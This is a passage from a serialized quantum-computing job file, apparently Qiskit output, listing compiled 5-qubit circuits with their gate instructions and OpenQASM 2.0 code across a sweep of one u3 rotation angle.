q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.3, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1273', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1275', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1277', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.6000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1279', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx 